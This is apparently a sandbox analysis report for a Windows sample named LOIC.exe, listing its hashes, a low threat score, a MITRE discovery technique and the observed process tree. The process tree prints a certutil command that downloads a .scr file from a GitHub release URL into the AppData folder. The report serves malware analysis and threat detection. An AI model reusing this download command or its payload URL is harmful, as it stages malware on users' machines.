7c1ff67aeb0b28189cef1186387335611db08a0f7f23e40d62d36767061ddda3

Analysis

geolocation tags

eueuropelondonukunited-kingdom
user interaction
yes
max time kernel
191s
max time network
197s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
17/04/2026, 17:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
LOIC.exe
Size 120KB
Sample260417-wcajqaev8n
SHA256 7c1ff67aeb0b28189cef1186387335611db08a0f7f23e40d62d36767061ddda3
MD5 dc408f81d5a9be3e3905656d559e4ca9
SHA1 0e1aee0c6c5bdf957b7253ba156cfcfd3ffccd13
SHA512 50077587f28732da29269c15e54fc0c00a7e503ee31009bdeea426a0cb62d9b480281c80969baa629f4dc7e57e63607bb90e2a9c8aafa6b8177baef81c3fef47
SSDEEP 3072:kV3J6kkt5h1X+HqTi0BW69hd1MMdxPe9N9uA0/+hL9TBfnPZzX:Jt5hBPi0BW69hd1MMdxPe9N9uA069TBl
TLSH
T12BC3275AB2E01198EBF581F6D5920746EB7074311B15A3DB6B7863B31B2B8C58F3D3A0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 456 wrote to memory of 5508	456	LOIC.exe	79
PID 5508 wrote to memory of 5268	5508	cmd.exe	81

C:\Users\Admin\AppData\Local\Temp\LOIC.exe
"C:\Users\Admin\AppData\Local\Temp\LOIC.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:456
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1306.tmp\1307.tmp\1308.bat C:\Users\Admin\AppData\Local\Temp\LOIC.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5508
- - C:\Windows\system32\certutil.exe
    certutil -urlcache -split -f "https://github.com/loyyy393-dot/greyt5ryertyteryter/releases/download/allah/higher.scr" "C:\Users\Admin\AppData\Roaming\higher.scr"
    3⤵
    PID:5268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:1244

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

1308.bat

Path C:\Users\Admin\AppData\Local\Temp\1306.tmp\1307.tmp\1308.bat
Size 596B
SHA256 d48d4f294d8f1690c0bc191e6cdf36ee2a0e00b719302e55f04df45d6dfbdf22
MD5 1c2ab23dd1b7654dbdcf0771157b9780
SHA1 835bf2273b8cb68229cbca87f9b98480e4472803
SHA512 16e3727f6241b953a0c7164cbcf4b3f41c47c28f61be546842e106cc444fbe3caf03fb7ea8d141a48866e583b6ad572212afbc67c189d29dfe3c1299629f721a
TLSH
T1CDF0AC3B6C904556873A7ABAC53E1604A20512839F07E2E52285A07197A7F1B84BA1CB
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5268-7-0x0000019D78460000-0x0000019D78472000-memory.dmp

Download

memory/5268-8-0x0000019D78480000-0x0000019D7848C000-memory.dmp

Download

memory/5268-17-0x0000019D78480000-0x0000019D7848C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads